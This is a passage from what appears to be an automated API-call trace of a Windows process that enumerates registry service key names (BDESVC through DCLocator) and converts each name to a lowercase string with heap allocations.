dwIndex=0x2b, lpName=0x2152850, cchName=0x104 | out: lpName="BDESVC") returned 0x0 [0215.935] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0215.935] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bdesvc", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0215.935] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0215.936] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bdesvc", cchWideChar=6, lpMultiByteStr=0x21f1bf8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bdesvc", lpUsedDefaultChar=0x0) returned 6 [0215.936] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0215.936] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0215.936] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0215.936] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0215.936] RegEnumKeyW (in: hKey=0x148, dwIndex=0x2c, lpName=0x2152850, cchName=0x104 | out: lpName="Beep") returned 0x0 [0215.936] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0215.936] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="beep", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0215.936] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0215.936] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="beep", cchWideChar=4, lpMultiByteStr=0x21f1b68, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="beep", lpUsedDefaultChar=0x0) returned 4 [0215.936] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0215.936] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0215.936] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0215.936] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0215.936] RegEnumKeyW (in: hKey=0x148, dwIndex=0x2d, lpName=0x2152850, cchName=0x104 | out: lpName="BFE") returned 0x0 [0215.936] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0215.936] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bfe", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0215.936] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0215.936] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bfe", cchWideChar=3, lpMultiByteStr=0x21f1bf8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bfe", lpUsedDefaultChar=0x0) returned 3 [0215.936] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0215.936] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0215.936] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0215.936] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0215.936] RegEnumKeyW (in: hKey=0x148, dwIndex=0x2e, lpName=0x2152850, cchName=0x104 | out: lpName="BITS") returned 0x0 [0215.936] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0215.936] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bits", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0215.936] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0215.936] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bits", cchWideChar=4, lpMultiByteStr=0x21f1b68, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bits", lpUsedDefaultChar=0x0) returned 4 [0215.936] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0215.936] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0215.936] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0215.936] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0215.936] RegEnumKeyW (in: hKey=0x148, dwIndex=0x2f, lpName=0x2152850, cchName=0x104 | out: lpName="blbdrive") returned 0x0 [0215.937] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0215.937] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="blbdrive", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0215.937] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0215.937] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="blbdrive", cchWideChar=8, lpMultiByteStr=0x21f1bf8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="blbdrive", lpUsedDefaultChar=0x0) returned 8 [0215.937] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0215.937] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0215.937] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0215.937] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0215.937] RegEnumKeyW (in: hKey=0x148, dwIndex=0x30, lpName=0x2152850, cchName=0x104 | out: lpName="bowser") returned 0x0 [0215.937] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0215.937] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bowser", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0215.937] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0215.937] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bowser", cchWideChar=6, lpMultiByteStr=0x21f1b68, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bowser", lpUsedDefaultChar=0x0) returned 6 [0215.937] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0215.937] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0215.937] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0215.937] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0215.937] RegEnumKeyW (in: hKey=0x148, dwIndex=0x31, lpName=0x2152850, cchName=0x104 | out: lpName="BrFiltLo") returned 0x0 [0215.937] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0215.937] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltlo", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0215.937] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0215.937] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltlo", cchWideChar=8, lpMultiByteStr=0x21f1bf8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brfiltlo", lpUsedDefaultChar=0x0) returned 8 [0215.937] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0215.937] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0215.937] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0215.937] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0215.937] RegEnumKeyW (in: hKey=0x148, dwIndex=0x32, lpName=0x2152850, cchName=0x104 | out: lpName="BrFiltUp") returned 0x0 [0215.937] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0215.937] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltup", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0215.937] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0215.937] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltup", cchWideChar=8, lpMultiByteStr=0x21f1b68, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brfiltup", lpUsedDefaultChar=0x0) returned 8 [0215.937] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0215.938] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0215.938] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0215.938] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0215.938] RegEnumKeyW (in: hKey=0x148, dwIndex=0x33, lpName=0x2152850, cchName=0x104 | out: lpName="Browser") returned 0x0 [0215.938] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0215.938] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="browser", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0215.938] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0215.938] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="browser", cchWideChar=7, lpMultiByteStr=0x21f1bf8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="browser", lpUsedDefaultChar=0x0) returned 7 [0215.938] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0215.938] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0215.938] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0215.938] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0215.938] RegEnumKeyW (in: hKey=0x148, dwIndex=0x34, lpName=0x2152850, cchName=0x104 | out: lpName="Brserid") returned 0x0 [0215.938] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0215.938] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserid", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0215.938] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0215.938] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserid", cchWideChar=7, lpMultiByteStr=0x21f1b68, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brserid", lpUsedDefaultChar=0x0) returned 7 [0215.938] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0215.938] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0215.938] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0215.938] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0215.938] RegEnumKeyW (in: hKey=0x148, dwIndex=0x35, lpName=0x2152850, cchName=0x104 | out: lpName="BrSerWdm") returned 0x0 [0215.938] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0215.938] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserwdm", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0215.938] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0215.938] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserwdm", cchWideChar=8, lpMultiByteStr=0x21f1bf8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brserwdm", lpUsedDefaultChar=0x0) returned 8 [0215.938] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0215.938] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0215.938] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0215.938] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0215.938] RegEnumKeyW (in: hKey=0x148, dwIndex=0x36, lpName=0x2152850, cchName=0x104 | out: lpName="BrUsbMdm") returned 0x0 [0215.938] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0215.938] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbmdm", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0215.939] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0215.939] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbmdm", cchWideChar=8, lpMultiByteStr=0x21f1b68, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brusbmdm", lpUsedDefaultChar=0x0) returned 8 [0215.939] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0215.939] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0215.939] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0215.939] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0215.939] RegEnumKeyW (in: hKey=0x148, dwIndex=0x37, lpName=0x2152850, cchName=0x104 | out: lpName="BrUsbSer") returned 0x0 [0215.939] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0215.939] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbser", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0215.939] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0215.939] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbser", cchWideChar=8, lpMultiByteStr=0x21f1bf8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brusbser", lpUsedDefaultChar=0x0) returned 8 [0215.939] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0215.939] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0215.939] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0215.939] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0215.939] RegEnumKeyW (in: hKey=0x148, dwIndex=0x38, lpName=0x2152850, cchName=0x104 | out: lpName="BTHMODEM") returned 0x0 [0215.939] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0215.939] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthmodem", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0215.939] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0215.939] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthmodem", cchWideChar=8, lpMultiByteStr=0x21f1b68, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bthmodem", lpUsedDefaultChar=0x0) returned 8 [0215.939] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0215.939] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0215.939] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0215.939] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0215.939] RegEnumKeyW (in: hKey=0x148, dwIndex=0x39, lpName=0x2152850, cchName=0x104 | out: lpName="BTHPORT") returned 0x0 [0215.939] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0215.939] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthport", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0215.939] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0215.939] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthport", cchWideChar=7, lpMultiByteStr=0x21f1bf8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bthport", lpUsedDefaultChar=0x0) returned 7 [0215.939] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0215.939] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0215.939] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0215.939] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0215.940] RegEnumKeyW (in: hKey=0x148, dwIndex=0x3a, lpName=0x2152850, cchName=0x104 | out: lpName="bthserv") returned 0x0 [0215.940] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0215.940] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthserv", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0215.940] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0215.940] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthserv", cchWideChar=7, lpMultiByteStr=0x21f1b68, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bthserv", lpUsedDefaultChar=0x0) returned 7 [0215.940] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0215.940] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0215.940] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0215.940] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0215.940] RegEnumKeyW (in: hKey=0x148, dwIndex=0x3b, lpName=0x2152850, cchName=0x104 | out: lpName="cdfs") returned 0x0 [0215.940] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0215.940] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdfs", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0215.940] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0215.940] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdfs", cchWideChar=4, lpMultiByteStr=0x21f1bf8, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cdfs", lpUsedDefaultChar=0x0) returned 4 [0215.940] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0215.940] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0215.940] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0215.940] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0215.940] RegEnumKeyW (in: hKey=0x148, dwIndex=0x3c, lpName=0x2152850, cchName=0x104 | out: lpName="cdrom") returned 0x0 [0215.940] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0215.940] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdrom", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0215.940] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0215.940] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdrom", cchWideChar=5, lpMultiByteStr=0x21f1b68, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cdrom", lpUsedDefaultChar=0x0) returned 5 [0215.940] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0215.940] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0215.940] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0215.940] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0215.940] RegEnumKeyW (in: hKey=0x148, dwIndex=0x3d, lpName=0x2152850, cchName=0x104 | out: lpName="CertPropSvc") returned 0x0 [0215.940] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0215.940] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="certpropsvc", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0215.940] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0215.940] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="certpropsvc", cchWideChar=11, lpMultiByteStr=0x21f1bf8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="certpropsvc", lpUsedDefaultChar=0x0) returned 11 [0215.941] RegEnumKeyW (in: hKey=0x148, dwIndex=0x3e, lpName=0x2152850, cchName=0x104 | out: lpName="circlass") returned 0x0 [0215.941] RegEnumKeyW (in: hKey=0x148, dwIndex=0x3f, lpName=0x2152850, cchName=0x104 | out: lpName="CLFS") returned 0x0 [0215.941] RegEnumKeyW (in: hKey=0x148, dwIndex=0x40, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v2.0.50727_32") returned 0x0 [0215.941] RegEnumKeyW (in: hKey=0x148, dwIndex=0x41, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v2.0.50727_64") returned 0x0 [0215.941] RegEnumKeyW (in: hKey=0x148, dwIndex=0x42, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v4.0.30319_32") returned 0x0 [0215.941] RegEnumKeyW (in: hKey=0x148, dwIndex=0x43, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v4.0.30319_64") returned 0x0 [0215.941] RegEnumKeyW (in: hKey=0x148, dwIndex=0x44, lpName=0x2152850, cchName=0x104 | out: lpName="CmBatt") returned 0x0 [0215.941] RegEnumKeyW (in: hKey=0x148, dwIndex=0x45, lpName=0x2152850, cchName=0x104 | out: lpName="cmdide") returned 0x0 [0215.941] RegEnumKeyW (in: hKey=0x148, dwIndex=0x46, lpName=0x2152850, cchName=0x104 | out: lpName="CNG") returned 0x0 [0215.941] RegEnumKeyW (in: hKey=0x148, dwIndex=0x47, lpName=0x2152850, cchName=0x104 | out: lpName="Compbatt") returned 0x0 [0215.941] RegEnumKeyW (in: hKey=0x148, dwIndex=0x48, lpName=0x2152850, cchName=0x104 | out: lpName="CompositeBus") returned 0x0 [0215.941] RegEnumKeyW (in: hKey=0x148, dwIndex=0x49, lpName=0x2152850, cchName=0x104 | out: lpName="COMSysApp") returned 0x0 [0215.941] RegEnumKeyW (in: hKey=0x148, dwIndex=0x4a, lpName=0x2152850, cchName=0x104 | out: lpName="crcdisk") returned 0x0 [0215.941] RegEnumKeyW (in: hKey=0x148, dwIndex=0x4b, lpName=0x2152850, cchName=0x104 | out: lpName="crypt32") returned 0x0 [0215.942] RegEnumKeyW (in: hKey=0x148, dwIndex=0x4c, lpName=0x2152850, cchName=0x104 | out: lpName="CryptSvc") returned 0x0 [0215.942] RegEnumKeyW (in: hKey=0x148, dwIndex=0x4d, lpName=0x2152850, cchName=0x104 | out: lpName="CSC") returned 0x0 [0215.942] RegEnumKeyW (in: hKey=0x148, dwIndex=0x4e, lpName=0x2152850, cchName=0x104 | out: lpName="CscService") returned 0x0 [0215.942] RegEnumKeyW (in: hKey=0x148, dwIndex=0x4f, lpName=0x2152850, cchName=0x104 | out: lpName="DCLocator") returned 0x0 [0215.942] RegEnumKeyW (in: hKey=0x148, dwIndex=0x50, lpName=0x2152850, cchName=0x104 | out: 